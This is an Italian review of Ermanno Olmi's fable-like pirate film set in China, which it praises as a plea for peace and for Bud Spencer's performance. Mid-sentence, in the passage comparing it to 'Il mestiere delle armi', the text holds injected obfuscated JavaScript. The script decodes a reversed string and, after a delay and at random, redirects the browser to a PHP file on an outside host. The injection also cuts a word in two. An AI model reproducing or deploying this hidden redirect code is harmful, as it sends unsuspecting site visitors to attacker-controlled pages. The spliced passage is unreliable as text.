Una favola di pace – IL FILM

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Che senso ha la guerra? Nessuno. Cosa servirebbe per evitarla? Pochissimo, forse basterebbe mettere da parte l’orgoglio. Basterebbe pensare al bene del popolo e delle persone i cui destini dipendono da chi li guida o li governa.
Questa la risposta che ci dà Olmi nel suo ultimo film. Come già nel Mestiere delle armi, Olmi usa la distanza storica e temporale per parlarci di oggi. Là raccontava la storia di Giovanni dalle B (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande Nere, qui la scena si svolge in Cina dove una banda di pirati capitanati dalla Vedova Ching scorrazza per i mari assaltando gente inerme fino ad arrivare a sfidare le truppe imperiali.
La storia è costruita come una favola, in un continuo rimando tra realtà e finzione, grazie a una cornice narrativa: una messa in scena teatrale che racconta la storia principale.

Chi ha ragione e chi torto? Chi impone leggi ingiuste o chi non le rispetta? Accettare il perdono o sfidare il castigo? Morire da eroi o salvare vite umane? La vera guerra diventa quella dei valori, e il significato del film è una apologia appassionata della pace.

Un film poetico che si svolge in paesaggi bellissimi impreziosito dalla splendida recitazione di Bud Spencer, al tempo stesso narratore all’interno del teatro e capitano della nave pirata

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